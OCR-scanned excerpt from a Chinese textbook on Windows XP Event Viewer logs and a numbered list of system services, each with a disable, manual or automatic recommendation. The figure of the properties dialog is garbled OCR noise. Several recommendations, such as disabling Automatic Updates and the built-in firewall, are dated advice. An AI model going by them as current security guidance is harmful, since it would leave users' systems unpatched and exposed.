理工 具 ”, 然 后 双击 “计算 机 管理 ”, 打 开 “ 计 算 机 管理 "窗口 。 在 控制 台 树 中 , 单 击 “事件 查看 
器 ”。 应 用 程序 日 志 、 安 全 日 志和 系统 日 志 显 示 在 “事件 查看 器 ”窗口 中 ,在 详细 信息 窗 格 中 ， 
双击 用 户 要 查看 的 事件 。 

5. 事件 类 型 

所 记录 的 每 个 事件 的 描述 取决 于 事件 类 型 。 日 志 中 的 每 个 事件 都 可 归 类 为 以 下 类 型 
gi 
(1) 信息 : 描述 任务 (如 应 用 程序 、 驱 动 程序 或 服务 ) 成 功 运行 的 事件 。 例 如 , 当 网 络 驱 
动 程序 成 功 加 载 时 将 记录 “信息 ”事件 。 

(2) 警告 : 不 一 定 重要 但 可 能 表明 将 来 有 可 能 出 现 问题 的 事件 。 例 如 , 当 磁 盘 空 间 快 
用 完 时 将 记录 “警告 "消息 。 

(3) 错误 : 描述 重要 问题 (如 关键 任务 失败 ) 的 事件 。 “错误 ”事件 可 能 涉及 数据 丢失 或 
功能 缺失 。 例 如 , 当 启 动 过 程 中 无 法 加 载 服 务 时 将 记录 “错误 "事件 。 

(4) 成 功 审核 (安全 日 志 ) : 描述 成 功 完成 受审 核 安全 事件 的 事件 。 例 如 , 当 用 户 登录 
到 计算 机 上 时 将 记录 ”成 功 审核 事件。 
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(5) 失败 审核 (安全 日 志 ) : 描述 未 成 功 完成 的 受审 核 安全 事件 的 事件 。 例 如 , 当 用 户 
无 法 访问 网 络 驱动 器 时 可 能 记录 “失败 审核 事件 。 

6. 管理 日 志 内 容 

默认 情况 下 ,日 志 的 初始 最 大 文件 大 小 设置 为 512 KB, 当 达到 此 大 小 时 ,新 事件 将 根据 
需要 履 盖 旧事 件 。 用 户 可 以 根据 需要 更 改 这 些 设置 或 清除 日 志 内 容 。 

7. 设置 日 志 大 小 和 覆盖 选项 

要 指定 日 志 大 小 和 覆盖 选项 ,请 按照 下 列 步 又 操作 。 

(1) 选择 “开始 ”>“ 控 制 面板 ”选项 ,打开 “控制 面板 "窗口 。 单 击 “ 性 能 和 维护 ”, 再 单 击 
“管理 工具 ”, 然 后 双击 “计算 机 管理 ”, 打 开 “ 计 算 机 管理 ”窗口 。 

(2) 在 控制 台 树 中 ,展开 “事件 查看 器 ”, 然 后 右键 单 击 要 设置 其 大 小 和 覆盖 其 选项 的 日 
志 , 选 择 “ 属 性 ”选项 ,打开 “应 用 程序 属性 ”对 话 框 ,如 图 12-9 所 示 。 

(3) 在 该 对 话 框 中 的 “日 志 大 小 ”选项 区 域 下 的 “最 大 日 志文 件 大 小 ” 框 中 输入 所 需 的 大 
小 ; 在 “ 当 达 到 最 大 的 日 志 大 小 时 ”下 ,选择 所 需 的 覆盖 选项 。 如 果 用 户 要 清除 日 志 内 容 , 请 
单 击 “ 清 除 日 志 ” 按 钮 ,然后 单 击 “ 确 定 ” 按 钮 。 


Coens ”应 用 程序 Ett 


BHO | 
elom] ,ER 
D FARIA 


BSSHL): |C: WINDOWS\systen32\confie\AppEvent. Evt 


大 小 ; 512.0 KB 24,288 FP) 

创建 时 间 2012 年 2 月 22 日 13:46:42 

修改 时 间 2013 年 2 月 8 日 15:10:57 

访问 时 间 2012 年 6 月 26 日 20:32:29 
日 志 大 小 


景 大 日 志文 件 大 小 [512 J) ow 


当 达 到 最大 的 日 志 大 小 时 : 


ORREUS St W 
加 改写 和 于 中 iS) 天 的 事件 


ORR, 
口 使 用 全 连接 人 


图 12-9 “应 用 程序 属性 "对话 框 


8. 日 志 存 档 
如 果 用 户 要 保存 日 志 数 据 ,可 以 将 事件 日 志 存 档 为 以 下 任何 格式 : 日 志文 件 格式 
C evt) ,文本 文件 格式 (. txt)、 逗 号 分 隔 的 文本 文件 格式 (. csv). 


12.2.5 系统 服务 


1, 本 地 禁用 不 需要 的 系统 服务 
在 Windows XP 操作 系统 上 本 地 禁用 不 需要 的 服务 步骤 如 下 。 
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(1) 打开 “计算 机 管理 ”窗口 。 在 控制 台 树 中 ,展开 “服务 和 应 用 程序 ”, 然 后 选择 “服务 ” 
项 。 从 右 侧 窗 格 中 ,选择 要 禁用 的 服务 。 

(2) 右键 单 击 选 定 的 服务 ,然后 选择 * 属 性? 选项, 出现 选 定 服务 的 “属性 ?对 话 框 。 从 
“启动 类 型 "下拉 列表 框 中 ,选择 “已 禁用 ?选项 ; 在 “服务 状态 ”下拉 列表 框 下 ,选择 “停止 ? 选 
项 。 然 后 单 击 “确定 ”按钮 。 

2. 系统 服务 说 明 

Windows XP 服务 的 最 详细 说 明 如 下 。 

(1) Alerter: 建议 停 用 。 通 知 选取 的 使 用 者 及 计算 机 系统 管理 警示 。 如 果 停 用 这 个 服 
务 , 使 用 系统 管理 警示 的 程序 将 不 会 收 到 通知 。 如 果 停 用 这 个 服务 ,所 有 依存 于 它 的 服务 将 
无 法 启动 。 一 般 家 用 计算 机 根本 不 需要 传送 或 接收 计算 机 系统 管理 来 的 警示 
(Administrative Alerts) ,除非 用 户 的 计算 机 应 用 在 局 域 网 络 上 。 依 存 于 Workstation, 

(2) Application Layer Gateway Service: 建议 停 用 。 提 供 因特网 联机 共享 和 因特网 联 
机 防火 墙 的 第 三 方 通信 协议 插件 的 支持 。 如 果 用 户 不 使 用 因特网 联机 共享 (ICS) 提供 多 
台 计 算 机 的 因特网 存 取 和 因特网 联机 防火 墙 (ICF) 软件 ,用 户 可 以 将 此 项 服务 关 掉 。 依 存 
于 Internt Connection Firewall (ICF) / Internet Connection Sharing (ICS) 。 

(3) Application Management (应 用 程序 管理 ): 建议 手动 。 提 供 指派 ,发 行 以 及 移 除 
的 软件 安装 服务 ,如 上 说 的 软件 安装 变更 的 服务 。 

(4) Automatic Updates: 建议 停 用 。 启 用 重要 Windows 更 新 的 下 载 及 安装 。 如 果 停 
用 此 服务 ,可 以 手动 地 从 Windows Update 网 站 上 更 新 操作 系统 。 人 允许 Windows 于 背景 自 
动 联 机 之 下 ,到 Microsoft Servers 自动 检查 和 下 载 更 新 修补 程序 。 

(5) Background Intelligent Transfer Service: 建议 停 用 。 使 用 闲置 的 网 络 频 宽 来 传输 
数据 。 经 由 Via HTTP1. 1 在 背景 传输 资料 的 方法 ,如 Windows Update 就 是 以 此 为 工作 
之 一 。 依 存 于 Remote Procedure Call (RPC) 和 Workstation 。 

(6) ClipBook (剪贴 短 ) : 建议 停 用 。 启 用 剪贴 短 检 视 器 以 储存 信息 并 与 远程 计算 机 共 
享 。 如 果 这 个 服务 被 停 用 ,剪贴 蚕 检视 器 将 无 法 与 远程 计算 机 共享 信息 。 如 果 这 个 服务 被 
停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 把 剪贴 短 内 的 信息 和 其 他 计算 机 分 享 ,一 般 家 
用 计算 机 根本 用 不 到 。 依 存 于 Network DDE, 

(7) COM+ Event System (COM+ 事件 系统 ): 建议 手动 。 支 持 系统 事件 通知 服务 
(SENS) , 它 可 让 事件 自动 分 散 到 订阅 的 COM 组 件 。 如 果 服 务 被 停止 ,SENS 会 关闭 ,并 无 
法 提供 登 人 及 注销 通知 。 如 果 此 服务 被 停 用 ,任何 明显 依存 它 的 服务 都 无 法 启动 。 有 些 程 
序 可 能 用 到 COM 十 组 件 , 像 BootVis 的 optimize system 应 用 .如 事件 检视 器 内 显示 的 
DCOM 没有 启用 。 依 存 于 Remote Procedure Call (RPC) 和 System Event Notification, 

(8) COM+ System Application: 建议 手动 。 管 理 COM+ 组 件 的 设 定 及 追踪 。 如 果 
停 用 此 服务 ,大 部 分 的 COM 十 组 件 将 无 法 正常 工作 。 如 果 此 服务 被 停 用 ,任何 明确 依存 于 
它 的 服务 将 无 法 启动 。 如 果 COM+ Event System 是 一 辆 车 ,那么 COM 十 System 
Application 就 是 驾驶 员 , 如 事件 检视 器 内 显示 的 DCOM 没有 启用 。 依 存 于 Remote 
Procedure Call (RPC). 

(9) Computer Browser (计算 机 浏览 器 ) : 建议 停 用 。 维 护 网 络 上 更 新 的 计算 机 清单 ， 
并 将 这 个 清单 提供 给 作为 浏览 器 的 计算 机 。 如 果 停 用 这 个 服务 ,这 个 清单 将 不 会 被 更 新 或 
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维护 。 如 果 停 用 这 个 服务 ,所 有 依存 于 它 的 服务 将 无 法 启动 。 一 般 家 庭 用 计算 机 不 需要 , 除 
非 用 户 的 计算 机 应 用 在 局 域 网 络 上 ,不 过 在 大 型 的 局 域 网 络 上 没有 必要 开 这 个 服务 以 免 拖 
慢 速 度 。 依 存 于 Server 和 Workstation. 

(10) Cryptographic Services: 建议 手动 。 提 供 3 个 管理 服务 : 确认 Windows 档案 签 
章 的 [类别 目 录 数 据 库 服务 ]、 从 这 个 计算 机 新 增 及 移 除 受 信任 根 凭证 授权 凭证 的 [ 受 保护 
的 根 目录 服务 ], 以 及 协助 注册 这 个 计算 机 以 取得 凭证 的 [ 金 钥 服务 ]。 如 果 这 个 服务 被 停 
用 ,这 些 管理 服务 将 无 法 正确 工作 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 
启动 。 简 单 地 说 就 是 Windows Hardware Quality Lab (WHQL) 微 软 的 一 种 认证 ,如 果 用 
户 有 使 用 Automatic Updates ,那么 用 户 可 能 需要 这 个 服务 。 依 存 于 Remote Procedure 
Call (RPC). 

(11) DHCP Client (DHCP 客户 端 ) : 建议 手动 。 通 过 登录 及 更 新 IP 地 址 和 DNS 名 
称 来 管理 网 络 设 定 。 使 用 DSL/Cable 、ICS 和 IPSEC 的 用 户 都 需要 这 个 服务 来 指定 动态 
IP, REF AFD 网 络 支持 环境 NetBT、SYMTDI、 TCP/IP Protocol Driver 和 NetBios 
over TCP/IP. 

(12) Distributed Link Tracking Client (分 布 式 连接 追踪 客户 端 ) : 建议 停 用 。 维 护 计 
算 机 中 或 网 络 网 域 不 同 计算 机 中 NTFS 档案 间 的 连接 。 维 护 局 域 网 内 不 同 计算 机 之 间 的 
档案 连接 。 依 存 于 Remote Procedure Call (RPC) 。 

(13) Distributed Transaction Coordinator (分 布 式 交 易 协 调 器 ) : 建议 停 用 。 协 调 跨 
越 多 个 资源 管理 员 的 交易 ,如 数据 库 、 信 息 队 列 及 档案 系统 。 如 果 此 服务 被 停 用 ,这 些 交易 
将 不 会 发 生 。 如 果 服 务 被 停 用 ,任何 明显 依存 它 的 服务 将 无 法 启动 。 因 此 ,一 般 家 庭 用 计算 
机 用 不 到 ,除非 用 户 启用 的 Message Queuing。 依 存 于 Remote Procedure Call (RPC) 和 
Security Accounts Manager。 

(14) DNS Client (DNS 客户 端 ) : 建议 手动 。 解 析 并 快 取 这 台 计 算 机 的 网 域名 称 系统 
(DNS) 名 称 。 如 果 停 用 这 个 服务 ,这 台 计 算 机 将 无 法 解析 DNS 名 称 并 寻找 Active 
Directory 网 域 控制 站 的 位 置 。 如 果 停 用 这 个 服务 ,所 有 依存 于 它 的 服务 将 无 法 启动 。 另 外 
IPSEC 需要 用 到 这 个 服务 。 依 存 于 TCP/IP Protocol Driver. 

(15) Error Reporting Service: 建议 停 用 。 人 允许 对 执行 于 非 标准 环境 中 的 服务 和 应 用 
程序 的 错误 报告 。 微 软 的 应 用 程序 错误 报告 ,依存 于 Remote Procedure Call (RPC). 

(16) Event Log (事件 记录 文件 ) : 建议 自动 。 启 用 Windows 为 主 的 程序 和 组 件 所 发 
出 的 事件 信息 可 以 在 事件 检视 器 中 检视 。 这 个 服务 不 能 被 停 用 。 同 时 ,允许 事件 信息 显示 
在 事件 检视 器 之 上 。 依 存 于 Windows Management Instrumentation。 

(17) Fast User Switching Compatibility: 建议 手动 。 在 多 用 户 环境 下 提供 应 用 程序 管 
理 。 另 外 像 是 注销 画面 中 的 切换 使 用 者 功能 需要 用 到 此 服务 ,一般 建议 不 要 停 用 ,否则 很 多 
功能 无 法 实现 。 如 果 用 户 基于 安全 性 考虑 ,并 且 不 使 用 多 用 户 环境 ,可 以 停 用 此 项 服务 。 依 
存 于 Terminal Services, 

(18) Help and Support: 建议 停 用 。 让 说 明 及 支持 中 心 能 够 在 这 人 台 计 算 机 上 执行 。 如 
果 这 个 服务 被 停 用 ,将 无 法 使 用 说 明 及 支持 中 心 , 它 的 所 有 依存 服务 将 无 法 启动 。 如 果 不 使 
用 就 关 掉 ,依存 于 Remote Procedure Call (RPC). 

(19) Human Interface Device Access: 建议 停 用 。 启 用 对 人 性 化 接口 装置 (HID) 的 
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通用 输入 存 取 ,HID 装置 启动 并 维护 对 这 个 键盘 .远程 控制 ,以 及 其 他 多 媒体 装置 上 事先 定 
义 的 快捷 按钮 的 使 用 。 如 果 这 个 服务 被 停 用 ,这 个 服务 控制 的 快捷 按钮 将 不 再 起 作用 ,任何 
明确 依存 于 它 的 服务 将 无 法 启动 。 依 存 于 Remote Procedure Call (RPC). 

(20) IMAPI CD-Burning COM Service: 建议 停 用 。 使 用 Image Mastering 
Applications Programming Interface IMAPD 来 管理 光盘 录制 。 如 果 这 个 服务 被 停 用 ,这 
个 计算 机 将 无 法 录制 光盘 。 如 果 这 个 服务 被 停 用 ,任何 明确 依赖 于 它 的 服务 将 无 法 启动 。 
Windows XP 整合 的 CD-R 和 CD-RW 光驱 上 拖 放 的 烧 录 功能 ,可 惜 比 不 上 烧 录 软件 , 关 掉 
还 可 以 加 快 Nero 的 开启 速度 。 

(21) Indexing Service (索引 服务 ) : 建议 停 用 。 本 机 和 远程 计算 机 的 索引 内 容 和 档案 
属性 ; 通过 弹性 的 查询 语言 提供 快速 档案 存 取 。 简 单 地 说 可 以 让 用 户 加 快 搜查 速度 。 依 存 
于 Remote Procedure Call (RPC) 。 

(22) Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS) : 建议 
停 用 。 为 用 户 的 家 用 网 络 或 小 型 办 公 室 网 络 提供 网 络 地 址 转译 、 寻 址 及 名 称 解 析 服 务 和 /或 
防止 干扰 的 服务 。 如 果 用 户 不 使 用 因特网 联机 共享 (ICS) 或 是 Windows XP 内 含 的 因特网 
联机 防火 墙 (ICF) ,用 户 可 以 将 此 项 服务 关 掉 。 依 存 于 Application Layer Gateway Service, 
Network Connections, Network Location Awareness (NLA), Remote Access Connection 
Manager. 

(23) IPSEC Services OP 安全 性 服务 ): 建议 手动 。 管 理 IP 安全 性 原则 并 启动 
ISAKMP/Oakley OKE) 及 IP 安全 性 驱动 程序 。 协助 保护 经 由 网 络 传送 的 数据 。IPSec 为 
一 重要 环节 ,为 虚拟 私人 网 络 (VPN) 中 提供 安全 性 ,而 VPN 允许 组 织 经 由 因特网 安全 地 
传输 数据 。 在 某 些 网 域 上 也 许 需要 ,但 是 大 部 分 一 般 使 用 者 是 不 太 需 要 的 。 依 存 于 IPSEC 
driver, Remote Procedure Call (RPC) , TCP/IP Protocol Driver, 

(24) Logical Disk Manager (逻辑 磁盘 管理 员 ) : 建议 自动 。 监 测 及 监视 新 硬盘 磁盘 ， 
以 及 传送 磁盘 区 信息 到 逻辑 磁盘 管理 系统 管理 服务 以 供 设 定 。 如 果 这 个 服务 被 停 用 ,动态 
磁盘 状态 和 设 定 信息 可 能 会 过 时 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 
启动 。 磁盘 管理 员 用 来 动态 管理 磁盘 , 如 显示 磁盘 可 用 空间 等 和 使 用 Microsoft 
Management Console(MMC) 主 控 台 的 功能 。 依 存 于 Plug and Play、Remote Procedure Call 
(RPC) „Logical Disk Manager Administrative Service. 

(25) Logical Disk Manager Administrative Service (逻辑 磁盘 管理 员 系 统管 理 服 务 ) : 
建议 手动 。 设 定 硬盘 磁盘 及 磁盘 区 ,服务 只 执行 设 定 程序 然后 就 停止 。 使 用 Microsoft 
Management Console (MMC) 主 控 台 的 功能 时 才 用 到 。 依 存 于 Plug and Play, Remote 
Procedure Call (RPC) .Logical Disk Manager, 

(26) Messenger (FÆ) : 建议 停 用 。 在 客户 端 及 服务 器 之 间 传 输 网 络 传送 及 Alerter 
服务 信息 。 这 个 服务 与 Windows Messenger 无 关 。 如 果 停 用 这 个 服务 ,Alerter 信息 将 不 
会 被 传输 。 如 果 停 用 这 个 服务 ,所 有 依存 于 它 的 服务 将 无 法 启动 。 允 许 网 络 之 间 互 相传 送 
提示 信息 的 功能 ,如 net send 功能 ,如 不 想 被 骚扰 可 以 关闭 。 依 存 于 NetBIOS Interface, 
Plug and Play, Remote Procedure Call (RPC), Workstation, 

(27) MS Software Shadow Copy Provider: 建议 停 用 。 管 理 磁盘 区 阴影 复制 服务 所 取 
得 的 以 软件 为 主 的 磁盘 区 阴影 复制 。 如 果 停 用 这 个 服务 ,就 无 法 管理 以 软件 为 主 的 磁盘 区 
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阴影 复制 。 如 果 停 用 这 个 服务 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 因 此 ,用 来 备份 的 服 
务 ,如 MS Backup 程序 就 需要 这 个 服务 。 依 存 于 Remote Procedure Call (RPC), 

(28) Net Logon: 建议 停 用 。 支 持 网 域 上 计算 机 的 账户 登入 事件 的 pass-through 验 
证 。 一 般 家 用 计算 机 不 太 可 能 用 到 登入 网 域 审 查 这 个 服务 。 依 存 于 Workstation, 

(29) NetMeeting Remote Desktop Sharing (NetMeeting 远程 桌面 共享 ) : 建议 停 用 。 
让 经 过 授权 的 使 用 者 可 以 使 用 NetMeeting 通过 公司 近 端 内 部 网 络 , 由 远程 访问 这 部 计算 
机 。 如 果 这 项 服务 被 停 用 ,远程 桌面 共享 功能 将 无 法 使 用 。 如 果 这 个 服务 被 停 用 ,任何 依赖 
它 的 服务 将 无 法 启动 。 因 此 ,让 使 用 者 可 以 将 计算 机 的 控制 权 分 享 于 网 络 上 或 因特网 上 的 
其 他 使 用 者 ; 如 果 用 户 重视 安全 性 不 想 多 开 后 门 ,就 可 以 将 此 项 服务 停 用 。 

(30) Network Connections (网 络 联机 ) : 建议 手动 。 管 理 在 网 络 和 拨号 联机 数据 夹 中 
的 对 象 ,用 户 可 以 在 此 数据 夹 中 监视 局 域 网 络 和 远程 联机 。 依 存 于 Remote Procedure Call 
(RPC) „Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS). 

(31) Network DDE (网 络 DDE) : 建议 停 用 。 为 动态 数据 交换 (DDE) 对 在 相同 或 不 
同 计算 机 上 执行 的 程序 提供 网 络 传 输 和 安全 性 。 如 果 这 个 服务 被 停 用 ,DDE 传输 和 安全 性 
将 无 法 使 用 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 依 存 于 
Network DDE DSDM, ClipBook 。 

(32) Network DDE DSDM (网 络 DDE DSDM) : 建议 停 用 。 信 息 动态 数据 交换 
(DDE) 网 络 共享 。 如 果 这 个 服务 被 停 用 , DDE 网 络 共享 将 无 法 使 用 。 如 果 这 个 服务 被 停 
用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 依 存 于 Network DDE。 

(33) Network Location Awareness (NLA) : 建议 停 用 。 收 集 并 存放 网 络 设 定 和 位 置 
信息 ,并 且 在 这 个 信息 变更 时 通知 应 用 程序 。 如 果 不 使 用 ICF 和 ICS 可 以 关 了 它 。 依 存 于 
AFD 网 络 支持 环境 、TCP/IP Protocol Driver, Internet Connection Firewall (ICF) / 
Internet Connection Sharing (ICS). 

(34) NT LM Security Support Provider (NTLM 安全 性 支持 提供 者 ) : 建议 停 用 。 为 
没有 使 用 命名 管道 传输 的 远程 过 程 调用 (RPC) 程序 提供 安全 性 。 如 果 不 使 用 Message 
Queuing 或 Telnet Server ,就 可 以 将 此 项 服务 停 用 。 依 存 于 Telnet. 

(35) Performance Logs and Alerts (效能 记录 文件 及 警示 ) : 建议 停 用 。 基 于 事先 设 
定 的 排 程 参数 ,从 本 机 或 远程 计算 机 收集 效能 数据 ,然后 将 数据 写 和 记录。 如 果 这 个 服务 被 
停 用 ,将 不 会 收集 效能 信息 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 

(36) Plug and Play: 建议 自动 。 启 用 计算 机 以 使 用 者 没有 或 很 少 的 输入 来 识别 及 适应 
硬件 变更 ,停止 或 停 用 这 个 服务 将 导致 系统 不 稳定 。 依 存 于 Logical Disk Manager, Logical 
Disk Manager Administrative Service、Messenger、Smart Card、Telephony、Windows 
Audio, 

(37) Print Spooler (打印 多 任务 缓冲 处 理 器 ) : 建议 停 用 。 将 档案 加 载 内 存 中 以 待 稍 
后 打印 。 如 果 没 有 打印 机 ,可 以 将 此 项 服务 停 用 。 依 存 于 Remote Procedure Call (RPC). 

(38) Protected Storage ( 受 保 护 的 存放 装置 ) : 建议 自动 。 提 供 受 保护 的 存放 区 ,来 存 
储 私密 金 钥 这 类 敏感 数据 ,防止 未 授权 的 服务 、 处 理 或 使 用 者 进行 存 取 。 用 来 存储 用 户 计算 
机 上 密码 的 服务 ,如 Outlook、 拨 号 程序 、 其 他 应 用 程序 、 主 从 架构 等 。 依 存 于 Remote 
Procedure Call (RPC). 
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(39) QoS RSVP (QoS 许可 控制 ,RSVP) : 建议 停 用 。 提 供 网 络 信号 及 区 域 流 量 控制 
安装 功能 给 可 识别 QoS 的 程序 和 控制 小 程序 项 。 用 来 保留 20% 频 宽 的 服务 ,如 果 用 户 的 
网 络 卡 不 支持 802. 1p 或 在 用 户 计算 机 的 网 域 上 没有 ACS Server ,那么 就 可 以 将 此 项 服务 
停 用 。 依 存 于 AFD 网 络 支 持 环境 、TCP/IP Protocol Driver, Remote Procedure Call 
(RPC). 

(40) Remote Access Auto Connection Manager (远程 访问 自动 联机 管理 员 ) : 建议 手 
动 。 当 程序 参照 到 远程 DNS 或 NetBIOS 名 称 或 地 址 时 ,建立 远程 网 络 的 联机 。 有 些 
DSL/Cable 提供 者 ,可 能 需要 使 用 此 项 服务 来 处 理 登 和 程序。 依存 于 Remote Access 
Connection Manager, Telephony. 

(41) Remote Access Connection Manager (远程 访问 联机 管理 员 ) : 建议 手动 。 建 立 网 
络 联机 ,依存 于 Telephony, Internet Connection Firewall (ICF) / Internet Connection 
Sharing (ICS) ,Remote Access Auto Connection Manager. 

(42) Remote Desktop Help Session Manager: 建议 禁用 。 管 理 并 控制 远程 协助 。 如 果 
此 服务 被 停 用 ,远程 协助 将 无 法 使 用 。 停 用 此 服务 之 前 ,请 先 参阅 "内容 ”对 话 框 中 的 “依存 
性 ?选项 卡 。 如 果 不 使 用 管理 和 控制 远程 协助 ,就 可 以 将 此 项 服务 停 用 。 依 存 于 Remote 
Procedure Call (RPC). 

(43) Remote Procedure Call (RPC) (远程 过 程 调用 ,RPC) : 建议 自动 。 提 供 结束 点 
对 应 程序 以 及 其 他 RPC 服务 。 一 些 装置 都 依存 它 , 别 去 动 它 。 

(44) Remote Procedure Call (RPC) Locator (远程 过 程 调用 定位 程序 ) : 建议 禁用 。 
管理 RPC 名 称 服务 数据 库 。 一 般 计 算 机 上 很 少 用 到 ,可 以 将 此 项 服务 关 掉 。 依 存 于 
Workstation 。 

(45) Remote Registry (远程 登录 服务 ) : 建议 停 用 。 启 用 远程 使 用 者 修改 这 个 计算 机 
上 的 登录 设 定 。 如 果 这 个 服务 被 停 用 ,登录 只 能 由 这 个 计算 机 上 的 使 用 者 修改 。 如 果 这 个 
服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 基 于 安全 性 的 理由 ,如 果 没 有 特别 的 需 
求 ,建议 最 好 关 掉 此 项 服务 ,除非 用 户 需要 远程 协助 修改 用 户 的 登录 设 定 。 依 存 于 Remote 
Procedure Call (RPC). 

(46) Routing and Remote Access (路 由 和 远程 访问 ): 建议 停 用 。 提 供 连 到 局 域 网 络 
及 广域网 络 的 公司 的 路 由 服务 。 因 此 ,提供 拨号 联机 到 局 域 网 或 是 VPN 服务 ,一般 用 户 用 
不 到 。 依 存 于 Remote Procedure Call (RPC) ,NetBIOSGroup. 

(47) Secondary Logon: 建议 自动 。 启 用 在 其 他 认证 下 的 起 始 程序 。 如 果 这 个 服务 被 
停 用 ,这 类 的 登入 存 取 将 无 法 使 用 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 
启动 。 

(48) Security Accounts Manager (安全 性 账户 管理 员 ) : 建议 自动 。 储 存 本 机 账户 的 
安全 性 信息 。 管 理 账 号 和 群 组 原则 (gpedit. msc) 应 用 。 依 存 于 Remote Procedure Call 
(RPC) „Distributed Transaction Coordinator. 

(49) Server (服务 器 ) : 建议 停 用 。 通 过 网 络 为 这 台 计 算 机 提供 档案 、 打 印 及 命名 管道 
的 共享 。 如 果 停 用 这 个 服务 ,将 无 法 使 用 这 些 功 能 。 如 果 停 用 这 个 服务 ,所 有 依存 于 它 的 服 
务 将 无 法 启动 。 简 单 地 说 就 是 档案 和 打印 的 分 享 ,除非 用 户 有 和 其 他 计算 机 分 享 ,不 然 就 关 
掉 这 个 服务 。 依 存 于 Computer Browser. 
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(50) Shell Hardware Detection: 建议 自动 。 为 自动 播放 硬件 事件 提供 通知 。 一 般 使 
用 在 记忆 卡 或 是 CD 装置 .DVD 装置 上 。 依 存 于 Remote Procedure Call (RPC). 

(51) Smart Card (智慧 卡 ) : 建议 停 用 。 管 理 这 个 计算 机 所 读 取 智 能 卡 的 存 取 。 如 果 
这 个 服务 被 停 用 ,这 个 计算 机 将 无 法 读 取 智 能 卡 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 
的 服务 将 无 法 启动 。 如 果 用 户 不 使 用 Smart Card ,就 可 以 关 掉 这 个 服务 。 依 存 于 Plug and 
Play。 

(52) Smart Card Helper (智能 卡 协助 程序 ) : 建议 停 用 。 启 用 对 这 个 计算 机 使 用 的 旧 
版 非 即 插 即 用 智能 卡 读 取 头 的 支持 。 如 果 这 个 服务 被 停 用 ,这 个 计算 机 将 不 支持 旧版 读 取 
头 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 如 果 用 户 不 使 用 Smart 
Card ,就 可 以 关 掉 这 个 服务 。 

(53) SSDP Discovery Service : 建议 停 用 。 在 用 户 的 家 用 网 络 上 启用 通用 即 插 即 用 装 
置 的 搜索 。 因 此 ,通用 即 插 即 用 服务 (Universal Plug and Play, UPnP) 让 计算 机 可 以 找到 
并 使 用 网 络 上 的 装置 ,经 由 网 络 联机 通过 TCP/IP 来 搜索 装置 , 像 网 络 上 的 扫 瞄 器 、 数 字 相 
机 或 是 打印 机 , 亦 即使 用 UPnP 的 功能 。 依 存 于 Universal Plug and Play Device Host, 

(54) System Event Notification (系统 事件 通知 ) : 建议 自动 。 追 踪 诸如 Windows 登 
入 、 网 络 和 电源 事件 的 系统 事件 。 通 知 这 些 事件 的 COM + 事件 系统 订阅 者 。 依 存 于 
COM-+ Event System, 

(55) System Restore Service: 建议 停 用 。 执 行 系统 还 原 功 能 。 若 要 停 用 服务 ,从 “我 
的 电脑 “内容”>“ 系 统 还 原 ” 中 关闭 系统 还 原 。 将 计算 机 恢复 至 先前 的 状态 ,不 使 用 就 关 
掉 这 个 服务 。 依 存 于 Remote Procedure Call (RPC). 

(56) Task Scheduler (工作 排 程 器 ) : 建议 自动 。 让 使 用 者 能 够 在 这 个 计算 机 上 设 定 
和 排 定 自动 的 工作 , 像 一 些 定时 磁盘 扫描 、 病 毒 定时 扫描 、 更 新 等 。 如 果 停 用 这 个 服务 ,这 些 
工作 在 它们 排 定 的 时 间 时 将 不 会 执行 。 如 果 停 用 这 个 服务 ,任何 明确 依存 于 它 的 服务 将 无 
法 启动 。 依 存 于 Remote Procedure Call (RPC). 

(57) TCP/IP NetBIOS Helper (TCP/IP NetBIOS 协助 程序 ) : 建议 停 用 。 启 用 
NetBIOS over TCP/IP (NetBT) 服 务 及 NetBIOS 名 称 解 析 的 支持 。 如 果 用 户 的 网 络 不 使 
用 NetBios 或 WINS, 就 可 以 将 此 项 服务 停 用 。 依 存 于 AFD 网 络 支持 环境 .NetBt。 

(58) Telephony (电话 语音 ) : 建议 手动 。 为 本 地 计算 机 上 及 经 由 局 域 网 络 连接 到 正 
在 执行 此 服务 的 服务 器 上 ,控制 电话 语音 装置 和 IP 为 主语 音 联机 的 程序 ,提供 电话 语音 
API (TAPI 支持 。 一 般 的 拨号 调制 解 调 器 或 是 一 些 DSL/Cable 可 能 用 到 。 依 存 于 Plug 
and Play, Remote Procedure Call (RPC), Remote Access Connection Manager, Remote 
Access Auto Connection Manager. 

(59) Telnet: 建议 停 用 。 启 用 一 个 远程 使 用 者 来 登入 到 这 人 台 计 算 机 和 执行 应 用 程序 ， 
以 及 支持 各 种 TCP/IP Telnet 客户 端 ,包含 以 UNIX 为 基本 和 以 Windows 为 基本 的 计算 
机 。 如 果 这 个 服务 被 停 用 ,远程 使 用 者 可 能 无 法 存 取 应 用 程序 。 如 果 这 个 服务 被 停 用 ,任何 
明确 依存 于 这 项 服务 的 其 他 服务 将 会 启动 失败 。 依存 于 NT LM Security Support 
Provider,Remote Procedure Call (RPC) , TCP/IP Protocol Driver. 

(60) Terminal Services (终端 机 服务 ) : 建议 停 用 。 人 允许 多 位 使 用 者 互动 连接 到 同一 
台 计 算 机 、 桌 面 的 显示 器 及 到 远程 计算 机 的 应 用 程序 。 远 程 桌面 的 加 强 (包含 系统 管理 员 
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的 RD) .快速 切换 使 用 者 、 远 程 协助 和 终端 机 服务 器 。 依 存 于 Remote Procedure Call 
(RPC) „Fast User Switching Compatibility, InteractiveLogon, 

(61) Themes: 建议 自动 。 提 供 使 用 者 经 验 主题 管理 。 很 多 人 使 用 布景 主题 ,不 过 如 果 
没有 使 用 的 用 户 , 那 就 可 以 关闭 这 个 服务 。 

(62) Uninterruptible Power Supply (不 断 电 供电 系统 ) : 建议 停 用 。 管 理 连接 到 这 人 台 
